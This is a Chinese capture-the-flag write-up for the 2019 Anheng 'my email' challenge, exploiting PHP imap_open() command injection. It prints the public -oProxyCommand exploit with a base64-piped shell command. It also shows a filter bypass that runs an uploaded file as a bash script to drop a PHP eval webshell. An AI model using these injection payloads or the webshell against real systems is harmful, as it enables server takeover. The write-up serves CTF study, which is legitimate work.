安恒2月赛my email的imap_open() RCE

0x00 前言

2019安恒2月月赛的my email题目,自己做的时候没有思路,看了wp才了解是imap_open() RCE漏洞

0x01 imap_open()

imap_open()是php来处理邮件的函数

kbHFHJ.png

题目利用的imap_open()漏洞,第一个参数可以执行系统命令

https://github.com/Bo0oM/PHP_imap_open_exploit

exploit.php

1
2
3
4
5
<?php
# CRLF (c)
# echo '1234567890'>/tmp/test0001
$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());

0x02 题目测试

在注册登录之后进行填写信息

kbHo5R.png

发现有个server参数

填写之前的payload发现参数不允许,测试发现是过滤了base64\|,并且也没有回显,好像就不能任意执行命令了

0x03 上传功能写shell

点击更换背景,是一个上传页面,只能传图片文件,并且会更换为背景

1
2
3
4
5
6
7
8
<style type="text/css">
body{
background-image: url(./user/daolgts.jpg);
background-size: 100%,100%;
width: 100%;
height: 100%;
}
</style>

在页面源码中发现背景图片的路径,也就是上传的图片的路径

结合rce漏洞,可以直接使用bash filename来执行命令

上传图片,内容为

1
echo "<?php eval($_REQUEST['daolgts']);"> shell.php

然后执行命令生成webshell

1
x -o ProxyCommand=bash{$IFS}daolgts.jpg}

菜刀连接/user/shell.php,flag在flag.php